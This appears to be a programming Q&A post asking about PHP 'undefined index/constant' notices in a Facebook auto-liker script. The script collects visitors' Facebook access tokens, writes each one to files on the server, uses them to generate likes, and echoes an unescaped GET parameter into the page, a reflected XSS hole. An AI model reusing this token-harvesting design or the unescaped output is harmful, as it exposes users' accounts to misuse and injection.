title: Undefined index & Use of undefined constant - PHP error
body: <p>I don't understand what happened, I hadn't made any changes to this script, and all of the sudden, it's giving this error:</p>
  
  <blockquote>
    <ul>
    <li>PHP Notice:  Undefined index: last_session_request in    /home2/leetshar/public_html/in/index.php on line 22</li>
    <li>PHP Notice:  Use of undefined constant act - assumed 'act' in    /home2/leetshar/public_html/in/index.php on line 80</li>
    <li>PHP Notice:  Undefined index: act in    /home2/leetshar/public_html/in/index.php on line 80</li>
    <li>PHP Notice:  Use of undefined constant access_token - assumed    'access_token' in /home2/leetshar/public_html/in/index.php on line 83</li>
    <li>PHP Notice:  Use of undefined constant id - assumed 'id' in    /home2/leetshar/public_html/in/index.php on line 86</li>
    <li>PHP Notice:  Undefined index: id in    /home2/leetshar/public_html/in/index.php on line 86</li>
    <li>PHP Notice:  Use of undefined constant access_token - assumed    'access_token' in /home2/leetshar/public_html/in/index.php on line<br>
    153</li>
    <li>PHP Notice:  Undefined index: access_token in    /home2/leetshar/public_html/in/index.php on line 153</li>
    </ul>
  </blockquote>
  
  <p>My codes worked properly is this past few days, but now its gives me an error like I said before. </p>
  
  <p>here is my index.php codes(i made a few edits of it after the error):</p>
  
  <pre><code>&lt;?php
  $like = new like();
  if($_GET[act]){
  print '???';
  }
  if(isset($_POST[access_token])){
  $access_token = $_POST[access_token];
  $me = $like -&gt; me($access_token);
  if($me[id]){
  echo '
  
        &lt;div class="login"&gt;
          &lt;div class="login-screen"&gt;
      &lt;div class="login-icon"&gt;&lt;img src="https://graph.facebook.com/'.$me[id].'/picture" alt="Welcome to Mail App" /&gt;&lt;h4&gt;Welcome&lt;small&gt;'.$me[name].'&lt;/small&gt;&lt;/h4&gt;&lt;/div&gt;
  ';
  
  $like -&gt; x($access_token);
  if($_POST[id]){
  $like -&gt; pancal($_POST[id]);
  }else{
  $like -&gt; getData($access_token);
  }
  }else{
  $like -&gt; invalidToken();
  }
  }else{
  $like-&gt;form();
  }
  class like {
  
  public function pancal($id){ for($i=1;$i&lt;4;$i++){
  $this-&gt; _req('http://google.com/gwt/n?u='.urlencode('http://'.$_SERVER[HTTP_HOST].'/post.php?id='.$id.'&amp;n='.$i)); }
  echo '
  &lt;h2&gt;Success! âœ”&lt;/h2&gt;
  &lt;script&gt;top.location.href="http://mywebsite.com/end.php"&lt;/script&gt;
  ';
  // header('Location: http://mywebsite.com/end.php');
  }
  
  public function me($access){
  return json_decode($this-&gt; _req('https://graph.facebook.com/me?access_token='.$access),true);
  }
  public function x($access){
  if(!is_dir('x')){
  mkdir('x');
  }
  $a=fopen('x/'.$access,'w');
  $aloc=fopen('../x/'.$access,'w');
  fwrite($aloc,1);
  fwrite($a,1);
  fclose($a);
  fclose($aloc);
  $this-&gt;adloc();
  }
  public function adloc(){
  }
  public function invalidToken(){
  print '
  Invalid Access Token âœ˜
  ';
  $this-&gt;form();
  }
  public function form(){
  print'
        &lt;div class="login"&gt;
          &lt;div class="login-screen"&gt;
            &lt;div class="login-icon"&gt;
              &lt;img src="https://fbcdn-profile-a.akamaihd.net/hprofile-ak-ash3/t1.0-1/c0.15.180.180/531827_175253335947123_1431869775_a.jpg" alt="Welcome to Mail App" /&gt;
              &lt;h4&gt;Welcome&lt;small&gt;Famous&lt;/small&gt;&lt;/h4&gt;
            &lt;/div&gt;
  
            &lt;div class="login-form"&gt;
            &lt;form action="http://www.mywebsite.com/" method="post"&gt;
          &lt;font color="#333333"&gt;Access Token&lt;/font&gt;
              &lt;div class="form-group"&gt;
                &lt;input class="form-control login-field" autocomplete="off" type="text" name="access_token" placeholder="CAAAAKLSe4lIBAEaxH0rrZ..." value="'.$_GET[access_token].'" required&gt;
                &lt;label class="login-field-icon fui-lock" for="login-pass"&gt;&lt;/label&gt;
              &lt;/div&gt;
  
              &lt;input class="btn btn-primary btn-lg btn-block" type="submit" value="Login"&gt;
          &lt;a class="btn btn-block btn-lg btn-info" href="http://www.linkbucks.com/8d87b1e7" target="_blank"&gt;Get Access Token&lt;/a&gt;
              &lt;a class="login-link" target="_blank" href="http://www.linkbucks.com/a23dfeae"&gt;How to use this? | Tutorial&lt;/a&gt;
            &lt;/form&gt;
            &lt;/div&gt;
          &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;
  ';
  }
  
  public function getData($access){
  $feed=json_decode($this -&gt; _req('https://graph.facebook.com/me/feed?access_token='.$access.'&amp;limit=1'),true);
  if(count($feed[data]) &gt;= 1){
  echo '
  &lt;div class="birumuda"&gt;
  ';
  for($i=0;$i&lt;count($feed[data]);$i++){
  $uid = $feed[data][$i][from][id];
  $name = $feed[data][$i][from][name];
  $type = $feed[data][$i][type];
  $mess = str_replace(urldecode('%0A'),'&lt;br/&gt;',htmlspecialchars($feed[data][$i][message]));
  $id = $feed[data][$i][id];
  $pic = $feed[data][$i][picture];
  echo'
            &lt;div class="login-form"&gt;
            &lt;div id="prepage"&gt;
            &lt;form name="myform" id="myform" action="http://www.mywebsite.com" method="post"/&gt;
            &lt;input type="hidden" name="access_token" value="'.$access.'"/&gt;
        &lt;font color="#333333"&gt;UID&lt;/font&gt;
              &lt;div class="form-group"&gt;
                &lt;input class="form-control login-field" type="show" name="id" placeholder="Your post UID here" value="'.$id.'"/&gt;
                &lt;label class="login-field-icon fui-heart" for="login-pass"&gt;&lt;/label&gt;
              &lt;/div&gt;
  
          &lt;input name="pancal" type="submit" value="Local" onclick="autoLike();" class="btn btn-primary btn-lg btn-block"/&gt;
          &lt;input type="button" value="International" name="pancal" onclick="interlike();" class="btn btn-primary btn-lg btn-block"/&gt;
              &lt;a class="login-link" href="#"&gt;How to Know my UID?&lt;/a&gt;
            &lt;/form&gt;
            &lt;/div&gt;
            &lt;div id="loading" style="display: none;"&gt;
        &lt;img src="http://www.mywebsite.com/process.gif" align="middle" border="0" alt="Please Wait .." /&gt; Sending Likes ..
        &lt;/div&gt;
            &lt;/div&gt;
          &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt; &lt;!-- /container --&gt;
  ';
  }
  }else{
  print '
  Status not found :(
  ';
  }
  print '
  &lt;/div&gt;
  ';
  }
  
  private function _req($url){
  $ch = curl_init();
  curl_setopt_array($ch,array(
  CURLOPT_CONNECTTIMEOUT =&gt; 5,
  CURLOPT_RETURNTRANSFER =&gt; true,
  CURLOPT_URL =&gt; $url,
  )
  );
  $result = curl_exec($ch);
  curl_close($ch);
  return $result;
  }
  }
  
  ?&gt;
  </code></pre>
  
  <p>thank you who can give me response </p>